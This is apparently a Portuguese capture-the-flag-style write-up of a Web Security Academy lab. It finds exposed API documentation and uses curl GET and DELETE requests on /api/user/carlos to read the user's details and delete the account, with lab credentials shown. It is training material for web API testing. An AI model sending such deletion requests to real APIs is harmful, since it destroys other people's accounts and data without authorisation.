> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/api-testing/exploiting-an-api-endpoint-using-documentation.md).

# Explorando um Endpoint Usando a Documentação

### Explorando um endpoint de API usando a documentação

**Objetivo do laboratório**

O objetivo deste laboratório é localizar a documentação exposta da API e, em seguida, usar um endpoint para remover o usuário **carlos**. / Uma conta válida é fornecida para testes:

* **Credenciais**: `wiener:peter`

**Descoberta da documentação da API**

Ao explorar a aplicação, identifica-se uma rota que leva a uma **API REST** contendo sua documentação. / Essa documentação descreve claramente os endpoints disponíveis e até fornece exemplos de requisições prontas para uso, inclusive na forma de **curl** comandos.

<figure><img src="/files/19e0ee4f4100e47a91e34c910bb6d4a120d5b89a" alt=""><figcaption></figcaption></figure>

**Recuperação de informações do usuário**

A partir da documentação, observa-se que um endpoint permite recuperar informações de um usuário especificando seu nome. / A requisição fornecida retorna dados do usuário **carlos**:

* Requisição:
* Método: `GET`
* Endpoint: `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X GET 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos'
```

{% endcode %}

* Resposta:
* O servidor retorna um objeto JSON contendo o nome de usuário e o endereço de e-mail.

```json
{
  "username": "carlos",
  "email": "carlos@carlos-montoya.net"
}
```

<figure><img src="/files/d1803adbc893f930efd06bf7e638295f89a6896d" alt=""><figcaption></figcaption></figure>

**Exclusão do usuário carlos**

A documentação também indica que é possível excluir um usuário por meio de uma requisição dedicada. / Usando o endpoint correspondente com o método apropriado:

* Requisição:
* Método: `DELETE`
* Endpoint: `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X DELETE 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos' -d '{}'
```

{% endcode %}

* Resultado:
* O servidor aceita a requisição e retorna uma mensagem confirmando a remoção do usuário.

```json
{
  "status": "Usuário excluído"
}
```

<figure><img src="/files/3d48307aba12118039360107ee3eaaa297298675" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/api-testing/exploiting-an-api-endpoint-using-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
